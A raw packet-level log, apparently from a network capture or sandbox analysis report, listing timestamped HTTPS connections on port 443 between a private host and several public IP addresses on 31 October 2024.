Oct 31, 2024 09:07:16.519829035 CET	443	49759	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.522150040 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.522172928 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.522277117 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.522397041 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.522411108 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.629972935 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.630224943 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.630290031 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.630367994 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.630368948 CET	49761	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.630394936 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.630408049 CET	443	49761	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.635760069 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.635823011 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.635899067 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.636027098 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.636048079 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.695671082 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.695938110 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.695997953 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.696027994 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.696042061 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.696060896 CET	49760	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.696065903 CET	443	49760	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.698399067 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.698416948 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.698487997 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.698605061 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:16.698615074 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:16.983215094 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:16.987890959 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:16.987914085 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:16.989383936 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:16.989459991 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:16.994086027 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:16.994182110 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:16.994224072 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.033968925 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.033979893 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.078047991 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.120698929 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.120742083 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.120800972 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.120996952 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.121011972 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.184140921 CET	443	49764	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:17.184678078 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:17.184709072 CET	443	49764	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:17.185723066 CET	443	49764	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:17.185786963 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:17.186280012 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:17.186340094 CET	443	49764	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:17.201345921 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.201950073 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.201977015 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.202449083 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.202454090 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.234301090 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:17.234314919 CET	443	49764	142.250.184.228	192.168.2.6
Oct 31, 2024 09:07:17.236131907 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.236780882 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.236814022 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.237576008 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.237587929 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.242439032 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.242497921 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.242542982 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.242568016 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.242588043 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.242691040 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.243094921 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.243346930 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.243628979 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.243633986 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.250413895 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.251241922 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.251256943 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.251303911 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.251353025 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.251359940 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.251966000 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.251971960 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.273530006 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.273600101 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.275305033 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.275320053 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.275557995 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.281174898 CET	49764	443	192.168.2.6	142.250.184.228
Oct 31, 2024 09:07:17.296802044 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.296816111 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.315570116 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.331279993 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.331378937 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.331471920 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.331645012 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.331645012 CET	49766	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.331660986 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.331669092 CET	443	49766	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.334484100 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.334510088 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.334608078 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.334770918 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.334789991 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.343677998 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.359453917 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.359633923 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.359684944 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.359698057 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.363331079 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.367007971 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.367093086 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.367100954 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.370914936 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.371160984 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.371330023 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.371360064 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.371367931 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.371382952 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.371395111 CET	49767	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.371402025 CET	443	49767	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.371409893 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.371416092 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.372059107 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.372498989 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.372515917 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.372920990 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.372925997 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.373861074 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.373888016 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.374131918 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.374252081 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.374255896 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.380327940 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.380378008 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.380384922 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.381437063 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.381592989 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.381643057 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.381669044 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.381673098 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.381683111 CET	49768	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.381686926 CET	443	49768	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.383721113 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.383742094 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.383924007 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.384073973 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.384085894 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.389544010 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.389610052 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.389616013 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.398524046 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.398575068 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.398581982 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.407538891 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.407593012 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.407598972 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.416501045 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.416548967 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.416553974 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.419430971 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.419774055 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.419787884 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.420186043 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.420195103 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.468677044 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.468692064 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.476630926 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.476677895 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.476695061 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.476701975 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.476747990 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.483880043 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.488569975 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.488616943 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.488631964 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.497242928 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.497328043 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.497333050 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.497353077 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.497394085 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.501504898 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.501610994 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.501672983 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.501842022 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.501857996 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.501868963 CET	49769	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.501874924 CET	443	49769	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.504574060 CET	49778	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.504597902 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.504798889 CET	49778	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.505019903 CET	49778	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.505033970 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.506596088 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.515530109 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.515585899 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.515585899 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.515616894 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.515736103 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.515743971 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.524641037 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.524692059 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.524713993 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.539033890 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.539088011 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.539110899 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.542233944 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.542279005 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.542285919 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.546034098 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.546256065 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.546468019 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.546504021 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.546520948 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.546534061 CET	49770	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.546539068 CET	443	49770	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.549407005 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.549428940 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.549628019 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.549798012 CET	49779	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:17.549809933 CET	443	49779	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:17.557149887 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.557207108 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.557255030 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.557343006 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.557353020 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.557370901 CET	49765	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.557375908 CET	443	49765	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.593791008 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.593911886 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.593920946 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.605504990 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.605573893 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.605581045 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.605588913 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.605623960 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.606918097 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.614300013 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.615914106 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.615922928 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.623493910 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.623555899 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.623563051 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.632530928 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.632580042 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.632585049 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.641580105 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.641642094 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.641649008 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.645998001 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.646039963 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.646116018 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.646435022 CET	49781	443	192.168.2.6	184.28.90.27
Oct 31, 2024 09:07:17.646450043 CET	443	49781	184.28.90.27	192.168.2.6
Oct 31, 2024 09:07:17.650672913 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.650787115 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.650794029 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.656172991 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.656223059 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.656229019 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.659282923 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.659332037 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.659337044 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.703249931 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.710787058 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.712162018 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.712207079 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.712213993 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.722628117 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.722700119 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.722704887 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.723948002 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.724132061 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.724137068 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.731487989 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.731563091 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.731570005 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.749855995 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.749902010 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.749918938 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.749927044 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.750154018 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.750159025 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.758735895 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.758783102 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.758795023 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.758806944 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.758855104 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.774019957 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.776300907 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.776355982 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.776362896 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.776411057 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.776492119 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.776496887 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.776546001 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.776607037 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.776928902 CET	49763	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.776942015 CET	443	49763	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.968507051 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.968770027 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.968785048 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.969196081 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.969258070 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.969902039 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.969964027 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.970989943 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.971064091 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:17.971152067 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.971165895 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:17.971172094 CET	443	49772	172.217.18.110	192.168.2.6
Oct 31, 2024 09:07:18.015778065 CET	49772	443	192.168.2.6	172.217.18.110
Oct 31, 2024 09:07:18.062325954 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.063723087 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.063723087 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.063749075 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.063761950 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.118382931 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.118911982 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.118927956 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.120805979 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.120851994 CET	49777	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.120860100 CET	443	49777	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.121243954 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.121262074 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.121927977 CET	49776	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.121934891 CET	443	49776	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.190366983 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.190561056 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.194277048 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.194277048 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.194396019 CET	49775	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.194417000 CET	443	49775	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.196810007 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.196841955 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.197062016 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.197062016 CET	49783	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:18.197096109 CET	443	49783	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.228396893 CET	443	49778	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:18.228775024 CET	49778	443	192.168.2.6	13.107.246.45
